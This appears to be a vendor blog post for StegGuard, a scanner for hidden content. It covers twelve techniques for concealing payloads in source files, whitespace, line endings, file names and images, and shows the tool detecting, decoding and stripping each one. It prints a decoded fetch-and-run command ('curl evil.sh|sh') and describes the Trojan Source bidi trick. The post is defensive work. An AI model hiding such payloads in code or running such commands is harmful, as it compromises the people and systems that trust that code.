StegGuard Blog
The invisible attack surface
Twelve ways to hide a payload, and what StegGuard does about each
On this page
Introduction
A code review reads what an editor shows. A build runs what the compiler sees. Attackers live in the gap between the two: characters nobody can see, whitespace nobody counts, and pixels nobody checks.
Below are the techniques that show up in supply-chain incidents and red-team write-ups. For each one we show the attack, then what a developer actually gets fromstegguard detect, decode and sanitize. Install it with pip install stegguard and the samples run on your machine too.
The pattern is the same every time. Detect tells you a file is carrying something. Decode tells you what, without executing it.Sanitize writes a clean copy and leaves the original alone.
1. The Unicode trap
Source code is text, and text is an encoding, not just letters. These attacks abuse the gap between what a character looks like and what it is.
01 Zero-width characters
Attack. U+200B and U+200C take up no space on screen, so a file can carry one hidden bit per character. Eight of them make a byte. Here is a deploy helper whose last line looks like any other:
print("deploying to", env)120 zero-width
An ordinary print statement.120 zero-width characters follow the closing bracket.
With StegGuard. Detect flags the file, decode reads the message out without running anything, and sanitize strips the characters.
$ stegguard detect deploy.py ⚠ ZERO-WIDTH CHARACTERS DETECTED — Severity: HIGH • 120 zero-width characters found • 2 distinct type(s) used ⚠ 1/1 file(s) flagged (exit code 1)
$ stegguard decode deploy.py "zero_width": { "decoded": "curl evil.sh|sh", "confidence": 0.9, "occurrences": 120 }
$ stegguard sanitize deploy.py "zero_width_removed": 120 "original_preserved": true
Why it helps. The decoded text is a shell command. You now know this commit was an attempt at staging a payload, not a stray paste, and you have the string to search for in the rest of the repo.
02 Invisible Unicode
Attack. The same idea with a wider alphabet: word joiners, soft hyphens, byte-order marks and other format characters that fonts do not draw.
With StegGuard. The zero-width detector covers U+200B to U+200F, U+2060 to U+2064, U+00AD and U+FEFF, and sanitize removes them. Variation selectors (U+FE00 to U+FE0F) and Unicode tag characters (U+E0000 block) are not flagged: we tested both on 0.4.0 and got a clean result. Treat this row as partial.
03 Homoglyphs
Attack. Cyrillic а (U+0430) is not Latina (U+0061), but no font tells them apart. In auth.py the last line defines a variable whose first letter is Cyrillic. Any search or signature for admin misses it.
With StegGuard. It names the script and the position, and sanitize maps the character back to Latin.
$ stegguard detect auth.py ⚠ HOMOGLYPH CHARACTERS DETECTED — Severity: LOW • 1 homoglyph character(s) found • 1 script type(s) detected (Cyrillic/Greek/etc) ⚠ 1/1 file(s) flagged (exit code 1)
$ stegguard sanitize auth.py "homoglyphs_replaced": 1 "original_preserved": true
Why it helps. You do not have to eyeball every identifier. Run it over a dependency before you vendor it and the lookalike names show up as a list.
04 Lookalike characters
Attack. Plain ASCII that reads alike: paypa1,passw0rd, rn for m.
Not covered. Every character here is legitimate ASCII, so there is nothing hidden to find. This is a naming problem. Defend it with an allow-list of package and domain names, not a scanner.
05 BIDI and control marks
Attack. Bidirectional controls (U+202A to U+202E, U+2066 to U+2069) reorder what a viewer shows. The bytes on disk and the picture on screen disagree.
With StegGuard. It finds every control and sanitize removes them. The next section shows the version that matters most.
06 Directional overrides (Trojan Source)
Attack. CVE-2021-42574. An override plus isolates make a string literal look like it contains a comment, so a reviewer approves code the compiler reads differently.
if access != "userU+202E RLO U+2066 LRI# Check if adminU+2069 PDI U+2066 LRI":
A condition and a harmless-looking comment.The comment sits inside the string, wrapped in override and isolate controls.
With StegGuard. The override is the one thing it marks critical.
$ stegguard detect access.py ⚠ OTHER SUSPICIOUS CHARACTERS DETECTED — Severity: CRITICAL • 4 suspicious control character(s) found ⚠ 1/1 file(s) flagged (exit code 1)
$ stegguard sanitize access.py "bidi_removed": 4 "original_preserved": true
Why it helps. Code review cannot see this class of bug, because the reviewer is looking at the rendered text. A scan on the pull request can.
2. Whitespace and line endings
Nothing here needs a special character. A space, a tab or a newline style is enough to carry data.
07 SNOW-style whitespace
Attack. Trailing spaces are 0 bits and trailing tabs are 1 bits. The file reads normally in an editor or a browser, and survives copy-paste.
With StegGuard. Detect spots the pattern, decode recovers the text, and sanitize removes the trailing whitespace.
$ stegguard detect notes.txt ℹ TRAILING WHITESPACE DETECTED — Severity: HIGH ⚠ • 3 lines have trailing whitespace ⚠ 1/1 file(s) flagged (exit code 1)
$ stegguard decode notes.txt "trailing_whitespace": { "decoded": "ok!", "confidence": 0.9 }
$ stegguard sanitize notes.txt "trailing_whitespace_removed": 24 "original_preserved": true
Why it helps. Editors and linters treat trailing whitespace as noise and often strip it silently. A scanner treats it as a channel, which is the opposite default, and the one you want for files you did not write.
08 Mixed line endings
Attack. LF versus CRLF is one bit per line, and a shell script runs the same either way. build.sh below hides a message in which lines end in which style. Mixed endings also confuse diffs and linters that assume one style.
With StegGuard. It flags the mix, decodes the pattern and sanitize normalizes every line.
$ stegguard detect build.sh ℹ MIXED LINE ENDINGS DETECTED — Severity: MEDIUM ⚠ 1/1 file(s) flagged (exit code 1)
$ stegguard decode build.sh "line_endings": { "decoded": "hidden msg!", "confidence": 0.9 }
$ stegguard sanitize build.sh "line_endings_normalized": 40 "original_preserved": true
Why it helps. A repo with a legitimately mixed history will throw findings too, so read them as leads rather than verdicts. The decode step is what separates a message from a messy merge.
09 Trailing spaces in file names
Attack. On Windows, malware.exe andmalware.exe can both exist. Exact-match filters miss the spaced one.
Not covered. StegGuard scans what is inside files, not the directory entries around them. Use an allow-list on names, and reject names with trailing spaces or dots at the boundary where files enter your system.
3. Pixels
10 LSB pixel steganography
Attack. Overwriting the lowest bit of each colour channel changes a pixel by at most one step in 255. vacation.png below looks the same asphoto.png, but carries a payload in every channel.
With StegGuard. It runs chi-square, RS and Sample Pair tests on the pixel data. The tampered image is flagged, and the untouched control passes.
$ stegguard detect vacation.png ⚠ LSB PIXEL STEGANOGRAPHY — Verdict: LIKELY_STEGO (confidence: 80%) ⚠ 1/1 file(s) flagged (exit code 1)
$ stegguard detect photo.png ✓ LSB pixel analysis — no steganography detected (PNG 160×160) ✓ All 1 file(s) clean (exit code 0)
Why it helps. The control matters as much as the hit: it shows the test is not simply calling every image suspicious. Be clear about the limit, though. For images StegGuard reports and does not repair. sanitize onvacation.png returns NO_OP_UNSUPPORTED and leaves the file untouched, so quarantine flagged images instead of cleaning them.
11 Steganalysis evasion
Attack. A careful attacker embeds fewer bits and tunes them until the same statistical tests stay quiet.
Partly covered. Running three different tests, not one, makes this harder. It does not make it impossible, and a low-rate payload can sit below the threshold. This is why a clean scan is never proof, and why the docs publish how each detector is measured.
What it will not catch
12 Parser differentials
Attack. An editor, a shell, a compiler and a scanner each read the same bytes by their own rules. A file that looks inert to the reviewer's tool can run in the target one. Techniques 01 to 08 are all special cases of this gap.
Partly covered. Sanitize removes the inputs parsers tend to disagree on: invisible characters, controls, odd whitespace and mixed endings. It cannot tell you how your own parsers behave. Keep the number of parsers in the path small and fuzz the ones you keep.
Saying so is deliberate. A tool that claims to find everything teaches teams to stop looking. This one is alpha, and it tells you where its edges are.
Putting it in the pipeline
stegguard detect exits 1 when it flags something, 0when the scan is clean, and 2 when it could not finish. That is all a CI job needs. Here is the control file from this post, which a pipeline would let through:
$ stegguard detect clean.py ✓ Clean — no hidden characters found ✓ All 1 file(s) clean (exit code 0)
And the step that gates a pull request:
- name: Scan for hidden content run: | pip install stegguard stegguard detect . -r --json findings.json
Pair the exit code with --json or --html to attach a report to the build, then decode whatever it flagged before you merge.
All twelve at a glance
| Technique | StegGuard | What it does |
|---|---|---|
| 01 Zero-width characters | Covered | detect, decode, sanitize (file contents) |
| 02 Invisible Unicode | Partly | Common zero-width and format characters. Variation selectors and tag characters are missed. |
| 03 Homoglyphs | Covered | detect, sanitize (Cyrillic and Greek) |
| 04 Lookalike characters | Not covered | ASCII lookalikes such as 0/O are not flagged |
| 05 BIDI and control marks | Covered | detect, sanitize |
| 06 Directional overrides | Covered | detect, sanitize (Trojan Source) |
| 07 SNOW whitespace | Covered | detect, decode, sanitize |
| 08 Mixed line endings | Covered | detect, decode, sanitize (normalizes) |
| 09 Trailing spaces in file names | Not covered | StegGuard reads contents, not directory entries |
| 10 LSB pixel steganography | Covered | detect (chi-square, RS, Sample Pair). Images are not rewritten. |
| 11 Steganalysis evasion | Partly | Several statistical tests, but low-rate embedding can slip under them |
| 12 Parser differentials | Partly | Sanitizing removes inputs parsers disagree on, but it cannot audit your parsers |
What you see is not always what you execute. Scan files you did not write before you trust them, decode what is flagged, and keep the originals so you can show your work.
Read the StegGuard CLI reference or see it run on real samples.